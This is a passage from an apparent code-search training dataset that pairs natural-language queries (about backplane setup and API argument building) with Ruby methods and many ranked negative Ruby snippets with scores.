"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end"
] |
[
"0.65488935",
"0.65121853",
"0.63683546",
"0.62603974",
"0.60916585",
"0.6052692",
"0.60149044",
"0.60111576",
"0.597437",
"0.592945",
"0.592945",
"0.592945",
"0.592945",
"0.592945",
"0.592945",
"0.592945",
"0.592945",
"0.59260744",
"0.59232444",
"0.5922576",
"0.5894975",
"0.58879334",
"0.58879334",
"0.5879329",
"0.5879329",
"0.5879329",
"0.58694416",
"0.58694416",
"0.5866056",
"0.58525217",
"0.58407944",
"0.58407944",
"0.58407944",
"0.58407944",
"0.5792195",
"0.5792195",
"0.5785316",
"0.57646006",
"0.57641727",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095",
"0.5764095"
] |
0.0
|
-1
|
initializes data used in _backplane.html.erb
|
def backplane
@use_backplane = @@use_backplane && app.backplane_server && app.backplane_bus && app.backplane_version
@serverBaseURL = "https://#{app.backplane_server}/#{app.backplane_version}/"
@busName = app.backplane_bus
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n super()\n init_data()\n end",
"def init_data\n end",
"def initialize_data\n end",
"def prepare_data\n\t\t\tsuper\n\t\t\t@data[:tuneable_data] = @tuneable_data\n\t\t\t@data[:@lowest_old] = @lowest_old\n\t\tend",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(data)\n @theme = data.dig(:theme)\n @name = data.dig(:subtheme)\n @set_count = data.dig(:set_count).to_i\n @year_from = data.dig(:year_from).to_i\n @year_to = data.dig(:year_to).to_i\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(data)\n super\n end",
"def initialize(data)\n super\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def post_initialize\n end",
"def initilize land_planes=[] #collection of planes\n\t\t@land_planes = land_planes\n\tend",
"def initialize\n load_data\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def get_data()\n\t\tself.data[:control_widget][:pages_list] = Page.all\n\tend",
"def initialize(data)\n @id = data.dig(:set_id).to_i\n @number = data.dig(:number)\n @number_variant = data.dig(:number_variant).to_i\n @name = data.dig(:name)\n @year = data.dig(:year)\n @theme = data.dig(:theme)\n @theme_group = data.dig(:theme_group)\n @subtheme = data.dig(:subtheme)\n @pieces = data.dig(:pieces)\n @minifigs = data.dig(:minifigs)\n @image = data.dig(:image)\n @image_filename = data.dig(:image_filename)\n @thumbnail_url = data.dig(:thumbnail_url)\n @large_thumbnail_url = data.dig(:large_thumbnail_url)\n @image_url = data.dig(:image_url)\n @brickset_url = data.dig(:brickset_url)\n @released = data.dig(:released)\n @owned = data.dig(:owned)\n @wanted = data.dig(:wanted)\n @qty_owned = data.dig(:qty_owned)\n @acm_data_count = data.dig(:acm_data_count).to_i\n @user_notes = data.dig(:user_notes)\n @owned_by_total = data.dig(:owned_by_total).to_i\n @wanted_by_total = data.dig(:wanted_by_total).to_i\n @uk_retail_price = data.dig(:uk_retail_price)\n @us_retail_price = data.dig(:us_retail_price)\n @ca_retail_price = data.dig(:ca_retail_price)\n @eu_retail_price = data.dig(:eu_retail_price)\n @us_date_added_to_sah = data.dig(:us_date_added_to_sah)\n @us_date_removed_from_sah = data.dig(:us_date_removed_from_sah)\n @rating = data.dig(:rating)\n @review_count = data.dig(:review_count).to_i\n @packaging_type = data.dig(:packaging_type)\n @availability = data.dig(:availability)\n @instructions_count = data.dig(:instructions_count).to_i\n @additional_image_count = data.dig(:additional_image_count).to_i\n @ean = data.dig(:ean)\n @upc = data.dig(:upc)\n @description = data.dig(:description)\n @last_updated = data.dig(:last_updated)\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end"
] |
[
"0.6786237",
"0.66795194",
"0.65281487",
"0.6055044",
"0.5886195",
"0.5875435",
"0.58595026",
"0.58595026",
"0.58595026",
"0.58595026",
"0.58595026",
"0.58595026",
"0.58595026",
"0.58595026",
"0.5842142",
"0.5842142",
"0.5839305",
"0.5839305",
"0.5839292",
"0.5839292",
"0.5839292",
"0.5822993",
"0.5822993",
"0.5821808",
"0.58211344",
"0.5819162",
"0.58106315",
"0.5808992",
"0.5808992",
"0.5808992",
"0.5808992",
"0.57772726",
"0.5771697",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515",
"0.57498515"
] |
0.0
|
-1
|
api_args, are args that can be used to construct queries in screen uris
|
def api_args
return @api_args unless @api_args.blank?
@api_args = settings.select_keys("client_id", "client_secret")
@api_args["response_type"] = "code"
uri = URI(my_addr)
uri.path = "/#{app.name}/authCallback"
@api_args["redirect_uri"] = uri.to_s
@api_args["token"] = access_token if signed_in?
@api_args["id"] = user_entity["id"].to_s if signed_in?
return @api_args
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_api(*args); end",
"def set_api(*args); end",
"def view_api_args\n render :json => api_args\n end",
"def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end",
"def call_api(*args)\n fetch(POSTEROUS_URL + args.join)\nend",
"def call_api(*args)\n fetch(POSTEROUS_URL + args.join)\nend",
"def custom_setup(args)\n if(args[:api_endpoint].to_s.end_with?('/'))\n args[:api_endpoint] = args[:api_endpoint][0, endpoint.length - 1]\n end\n end",
"def api_path(*args)\n ver = api_version.presence\n arg = args.flatten.join('/').strip\n uri = URI.parse(arg)\n qry = uri.query.presence\n path = uri.path.presence\n host = uri.host.presence\n url =\n if host\n rel = (host == base_uri.host)\n scheme = uri.scheme.presence || (base_uri.scheme.presence if rel)\n port = uri.port.presence || (base_uri.port.presence if rel)\n scheme ||= 'https'\n port &&= nil if COMMON_PORTS.include?(port)\n [scheme, \"//#{host}\", port].compact.join(':')\n end\n base = base_uri.path.presence\n base = base&.split('/')&.compact_blank!&.presence\n path = path&.split('/')&.compact_blank!&.presence\n ver = nil if ver && (base&.include?(ver) || path&.include?(ver))\n base = base&.join('/')\n path = path&.join('/')\n path = \"#{base}/#{path}\" if base && path && !path.start_with?(base)\n [url, ver, *path].compact_blank!.join('/').tap do |result|\n result << \"?#{qry}\" if qry\n end\n end",
"def client_args\n { uuid: uuid, api_key: api_key }\n end",
"def build_args(args)\n args.each do |arg|\n arg.each do |key, value|\n case key.to_s\n when 'query_params'\n @query_params = value\n when 'request_headers'\n update_headers(value)\n when 'request_body'\n @request_body = value\n end\n end\n end\n end",
"def path(args = {})\n path, options = parse_url(args)\n if path.nil?\n path = [\"/data/feed/api\"]\n if args[:user_id] == 'all'\n path += [\"all\"]\n else\n path += [\"user\", CGI.escape(args[:user_id] || 'default')]\n end\n path += ['albumid', CGI.escape(args[:album_id])] if args[:album_id]\n path = path.join('/')\n end\n options['kind'] = 'photo' if args[:recent_photos] or args[:album_id]\n if args[:thumbsize] and not args[:thumbsize].split(/,/).all? { |s| RubyPicasa::Photo::VALID.include?(s) }\n raise RubyPicasa::PicasaError, 'Invalid thumbsize.'\n end\n if args[:imgmax] && args[:imgmax] != \"d\" && !RubyPicasa::Photo::VALID.include?(args[:imgmax])\n raise RubyPicasa::PicasaError, 'Invalid imgmax.'\n end\n [:max_results, :start_index, :tag, :q, :kind,\n :access, :thumbsize, :imgmax, :bbox, :l].each do |arg|\n options[arg.to_s.dasherize] = args[arg] if args[arg]\n end\n if options.empty?\n path\n else\n [path, options.map { |k, v| [k.to_s, CGI.escape(v.to_s)].join('=') }.join('&')].join('?')\n end\n end",
"def query_args\n {\n page: params[:start] ? (params[:start].to_i / params[:length].to_i).floor + 1 : 1,\n per_page: params[:length],\n load: false,\n order: ordering,\n aggs: enabled_aggs,\n where: agg_where,\n smart_aggs: false\n }\n end",
"def apis=(_arg0); end",
"def search_url(*args)\n options = args.extract_options!.stringify_keys!\n protocol = (options.delete('protocol') || self.protocol).to_s\n \n uri = search_uri\n uri.scheme = protocol\n uri.query = [\"key=#{api_key}\", \"q=#{URI.escape(args.join(','))}\", *options.map{ |k,v| \"#{k}=#{v}\" }].join('&')\n p uri.to_s if self.debug\n return uri\n end",
"def request(*args); end",
"def initialize(args)\n\t @all = nil\n\t if args.class == String\n\t @uri = args\n\t query_data\n\t else\n \t\t@uri = args[\"uri\"] and args[\"uri\"][\"value\"]\n \t\t@name = args[\"name\"] and args[\"name\"][\"value\"]\n \t\t@definition = args[\"definition\"] and args[\"definition\"][\"value\"]\n \t\t# @labels = args[:labels]\n \t\t# @descriptions = args[:descriptions]\n \t\t# @scientific_names = args[:scientific_names]\n \tend\n\tend",
"def build_query(uri, args = {})\n new_query = URI.decode_www_form(uri.query || '')\n args.to_a.each { |arg| new_query << arg }\n key = Phantomblaster.configuration.api_key\n new_query << ['key', key] if key && ENV['GEM_ENV'] != 'test'\n URI.encode_www_form(new_query)\n end",
"def api_keys; rest_query(:api_key); end",
"def api_keys; rest_query(:api_key); end",
"def api_only=(_arg0); end",
"def queryMagazinePool _args\n \"queryMagazinePool _args;\" \n end",
"def api_params\n params[:api]\n end",
"def define_index_args(query, args)\n args = { controller: :observations,\n action: :index,\n matrix: true,\n include: [:name, :location, :user, :rss_log,\n { thumb_image: :image_votes }] }.merge(args)\n\n # Add some alternate sorting criteria.\n links = [\n [\"name\", :sort_by_name.t],\n [\"date\", :sort_by_date.t],\n [\"user\", :sort_by_user.t],\n [\"created_at\", :sort_by_posted.t],\n [(query.flavor == :by_rss_log ? \"rss_log\" : \"updated_at\"),\n :sort_by_updated_at.t],\n [\"confidence\", :sort_by_confidence.t],\n [\"thumbnail_quality\", :sort_by_thumbnail_quality.t],\n [\"num_views\", :sort_by_num_views.t]\n ]\n args[:sorting_links] = links\n\n # Paginate by letter if sorting by user.\n case query.params[:by]\n when \"user\", \"reverse_user\"\n args[:letters] = \"users.login\"\n # Paginate by letter if sorting by name.\n when \"name\", \"reverse_name\"\n args[:letters] = \"names.sort_name\"\n end\n args\n end",
"def initialize(**args)\n @api_base = args[:api_base] || 'https://philomena.local/api/v1/json'\n @api_key = args[:key]\n @sfw_filter = args[:sfw_filter] || '1'\n @nsfw_filter = args[:nsfw_filter] || '2'\n @everything_filter = args[:everything_filter] || '2'\n @hidden_tags = args[:hidden_tags] || []\n @no_search_tags = args[:no_search_tags] || []\n end",
"def resources _args\n \"resources _args;\" \n end",
"def magazinesDetailBackpack _args\n \"magazinesDetailBackpack _args;\" \n end",
"def http_parse_args\n [(self.api.base_url + self.method), self.params]\n end",
"def api_params\n params[:api]\n end",
"def request(*args)\n end",
"def params_to_api_args(type)\n args = params.to_unsafe_h.symbolize_keys.except(:controller)\n args[:method] = request.method\n args[:action] = type\n args.delete(:format)\n args\n end",
"def showUavFeed _args\n \"showUavFeed _args;\" \n end",
"def arguments(model)\n\n # This calls resources/resource.rb with calls\n # resources/subfolder/subresource.rb which in turn loads a json\n # from resources/data/arguments.json\n return make_arguments()\n\n return args\n end",
"def discovery_api_params(app_params)\n if app_params['advanced'].include? 'true'\n api_params = generate_advanced_query(app_params)\n else\n api_params = app_params\n end\n api_params[\"facetFields\"] = ['inLanguage:10', 'itemType:10', 'creator:10']\n api_params[\"heldBy\"] = library_symbols if app_params['scope'].nil? or app_params['scope'].first != 'worldcat'\n api_params\n end",
"def index\n @querylists = HTTParty.post(\"http://66.175.217.67:3020/argames/getQuery\", :body => { :checkFilter => '' }, :headers => {\"Authorization\" => \"Bearer \" + ENV[\"API_KEY\"] })\n end",
"def api_params\n params.fetch(:api, {})\n end",
"def url *args\n if args.first\n Url.current.qs(*args)\n else\n Url.current\n end\n end",
"def build_request(*args); end",
"def args()\n #This is a stub, used for indexing\n end",
"def initialize(oauth_helper, *args)\n @oauth_helper = oauth_helper\n \n # 最後の引数が Hash であれば、クエリパラメータとする.\n query_parameters = {}\n if args.size > 0\n if args[-1].is_a? Hash\n query_parameters = args.pop\n end\n end\n \n # URLを構築.\n @url = @oauth_helper.api_endpoint.dup\n @url << '/' if @url[-1] != '/'\n @url << args.join('/')\n unless query_parameters.empty?\n @url << \"?#{::OAuth::Helper.normalize(query_parameters)}\"\n end\n end",
"def request(args = {})\n response = @client.get(args[:url],\n argument_hash(args[:args] || {},\n args[:symbols] || []))\n JSON.parse(response.body)\n end",
"def apiQuery(query, vars = {}, privileged = false)\n if vars.empty?\n query = \"query { #{query} }\"\n else\n query = \"query(#{vars.map{|name, pair| \"$#{name}: #{pair[0]}\"}.join(\", \")}) { #{query} }\"\n end\n varHash = Hash[vars.map{|name,pair| [name.to_s, pair[1]]}]\n headers = { 'Content-Type' => 'application/json' }\n privKey = ENV['ESCHOL_PRIV_API_KEY'] or raise(\"missing env ESCHOL_PRIV_API_KEY\")\n privileged and headers['Privileged'] = privKey\n response = HTTParty.post($api_url, :headers => headers, :body => { variables: varHash, query: query }.to_json)\n response.code == 200 or raise(\"Internal error (graphql): HTTP code #{response.code}\")\n response['errors'] and raise(\"Internal error (graphql): #{response['errors'][0]['message']}\")\n response['data']\nend",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def do_the_get_call(args)\n\tputs \"----- GET: #{args[:url]} -----\"\n\tc = Curl::Easy.new(args[:url]) do |curl|\n\t\tcurl.http_auth_types = :basic\n\t\tcurl.username = args[:user]\n\tend\n\tc.perform\n\tc.body_str\nend",
"def args\n raw_args\n end",
"def manage_args(*args)\n end",
"def to_api\n params_as_querystring = @params.marshal_dump.map{ |key|\n k = key.first.to_s.gsub('_', '-')\n v = URI::encode key[1]\n \"%s=%s\" % [k, v]\n }.join(\"&\")\n \"%s?%s\" % ['api/' + @path, params_as_querystring]\n end",
"def args\n @payload['args']\n end",
"def build_qs(args)\n args.map { |k, v| \"#{k}=#{v}\" }.join('&')\n end",
"def search_args\n [params[:query], current_user]\n end",
"def page_url(*args)\n api_apps_path(*args)\n end",
"def list(*args)\n fail \"Unacceptable HTTP Method #{request.env['REQUEST_METHOD']} for list\" unless request.get?\n {:action => 'list',\n :args => args}\n end",
"def shell_api=(_arg0); end",
"def args(*) end",
"def inst_args(args={})\n args.merge(collection: ocollection, key: id)\n end",
"def action_locator_args()\n \n end",
"def api_path(*args)\n \"/v#{api_version}/#{args.unshift(api_tier).compact.join('/')}\"\n end",
"def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend",
"def fetch_query args={}\n query(args.clone)\nend",
"def fetch_query args={}\n query(args.clone)\nend",
"def apiQuery(query, vars = {})\n if vars.empty?\n query = \"query { #{query} }\"\n else\n query = \"query(#{vars.map{|name, pair| \"$#{name}: #{pair[0]}\"}.join(\", \")}) { #{query} }\"\n end\n varHash = Hash[vars.map{|name,pair| [name.to_s, pair[1]]}]\n response = EscholSchema.execute(query, variables: varHash)\n response['errors'] and raise(\"Internal error (graphql): #{response['errors'][0]['message']}\")\n response['data']\nend",
"def entry_filter(args)\n if args.length == 1 && args.first.is_a?(String)\n { id: @api.normalize_id(args.first) }\n elsif args.length == 2\n { name: args.first, version: args.last }\n else\n raise ArgumentError\n end\n end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend",
"def magazinesDetail _args\n \"magazinesDetail _args;\" \n end",
"def fetch_album(args)\n search = AlbumFetch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end",
"def update!(**args)\n @alt_query = args[:alt_query] if args.key?(:alt_query)\n @answer = args[:answer] if args.key?(:answer)\n @query = args[:query] if args.key?(:query)\n @time_ms = args[:time_ms] if args.key?(:time_ms)\n @title = args[:title] if args.key?(:title)\n @url = args[:url] if args.key?(:url)\n end",
"def get_aos_version(args = {}) \n get(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def dh_api_query(command, params = ''); end",
"def api_query_parameter\n \"?apiKey=#{api_key}&longUrl=#{url}\"\n end",
"def method_missing(api_method, *args) # :nodoc:\n raise ArgumentError.new('Please include method parameters.') unless args.size > 0\n params = ''\n args.each do |arg|\n params << arg.map {|k,v| \"#{CGI::escape(k.to_s)}=#{CGI::escape(v.to_s)}\"}.join(\"&\")\n params << '&' unless arg == args.last\n end\n api_url = \"http://#{@console_url}/frontend/#{camelize_api_method_name(api_method.to_s)}.aspx?#{params}\"\n response = HTTPI.get(api_url)\n rc, rb = response.code, response.body.gsub( /\\r\\n/m,'').to_i\n # Raise an error if the method was not found.\n super if rc == 404\n # Raise an error if the request did not succeed.\n raise APIError.new(rc) if rc != 200\n # Raise an error if the IP is not authorized.\n raise APIError.new(rb) if rb == -1011\n # Raise an error if there was an error returned.\n raise APIError.new(rb) if rb == 1\n rb\n end",
"def api_call(payload); end",
"def playlists(args={})\n query = \"/?client_id=#{@client_id}&format=#{format.to_s}&#{format_parameters(args)}\"\n path = __method__.to_s\n http_get(path, query)\n end",
"def api_optional!(args, h = params)\n args = api_parameters_to_hash(args) if args.is_a?(Array)\n\n args.each_pair { |name, cnd|\n if cnd.is_a?(Hash)\n api_optional!(cnd, h[name])\n next\n end\n\n parse_api_parameter(name, cnd, :optional, h)\n }\n end",
"def get_aos_version_box_by_id(args = {}) \n get(\"/aosversions.json/aosversionbox/#{args[:aosVersionBoxId]}\", args)\nend",
"def build_url( args = {} )\n # default options\n opts = {\n :type => :recent,\n :limit => 20\n }.merge( args )\n\n unless [ :recent, :popular, :rating, :random ].include? opts[:type]\n raise ArgumentError, \"unknown feed type '#{opts[:type]}'. Valid options are recent, popular, rating, or random\"\n end\n\n unless (1..100).include? opts[:limit]\n raise ArgumentError, \"invalid limit: #{opts[:limit]}. Valid options are 1-100\"\n end\n\n options = {\n :key => self.api_key,\n\n :itemsPerPage => opts[:limit],\n :listType => opts[:type],\n }\n\n get_args = options.\n sort_by {|k,v| k.to_s }.\n map {|k,v| \"#{k}=#{v}\" }.\n join( \"&\" )\n\n return \"#{BASE_URL}/rss/get.cfm?#{get_args}\"\n end",
"def autocomplete(prefix, args={})\n query = \"/?client_id=#{@client_id}&format=#{format.to_s}&prefix=#{prefix}&#{format_parameters(args)}\"\n path = __method__.to_s\n http_get(path, query)\n end",
"def queryOS(args)\n begin\n p = Hash.new\n uri = URI(args[:entrypoint])\n p[\"header\"] = {'Content-type'=>'application/json','Accept-type'=>'application/json','X-Auth-Token'=>args[:token]}\n case args[:component].to_s\n when \"Nova\"\n p[\"port\"] = uri.port || 8774\n\tp[\"path\"] = uri.path\n when \"Glance\"\n p[\"port\"] = uri.port || 9292\n p[\"path\"] = uri.path || \"/v1\"\n when \"Volume\"\n p[\"port\"] = uri.port || 8776\n\tp[\"path\"] = uri.path\n when \"Swift\" \n p[\"port\"] = uri.port || 8080\n\tp[\"path\"] = uri.path\n when \"Keystone\"\n p[\"port\"] = uri.port || 35357\n p[\"path\"] = uri.path || \"/v2/tokens\"\n when \"Cloud\"\n p[\"port\"] = uri.port || 8773\n p[\"path\"] = uri.path || \"/services/Cloud\"\n p[\"header\"] = {'Content-type'=>'application/xml','Accept-type'=>'application/xml'}\n else\n return false\n end\n p[\"location\"] = uri.host || \"\"\n p[\"path\"] = p[\"path\"] + args[:path] || uri.path\n p[\"request\"] = args[:request] || \"\"\n os = Net::HTTP.new(p[\"location\"],p[\"port\"])\n if uri.scheme == \"https\"\n os.use_ssl = true\n else\n os.use_ssl = false\n end\n resp = nil\n case args[:method].to_s\n when \"post\"\n resp = os.post(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"get\"\n resp = os.get(p[\"path\"], p[\"header\"])\n when \"update\"\n resp = os.put(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"delete\"\n resp = os.delete(p[\"path\"], p[\"header\"])\n end\n newdata = false\n if resp.code.to_i >= 200 and resp.code.to_i < 300\n if args[:component].to_s == \"Cloud\"\n newdata = resp.body\n else\n\t if args[:method].to_s == \"delete\"\n\t newdata = true\n else\n newdata = JSON resp.body\n end\n end\n end\n os = nil\n p = nil\n return newdata\n rescue Errno::EHOSTUNREACH\n false\n end\n end",
"def rest_endpoint=(_arg0); end",
"def invoke(api, *args)\n num_parms = args.length\n return self.fail_response(13001, \"in Zapi::invoke, invalid number of parameters\") if num_parms.odd?\n xi = NaElement.new(api)\n i = 0\n while(i < num_parms)\n key = args[i]\n i = i + 1\n value = args[i]\n i = i + 1\n xi.child_add(NaElement.new(key, value))\n end\n invoke_elem(xi)\n end",
"def query_params=(_arg0); end",
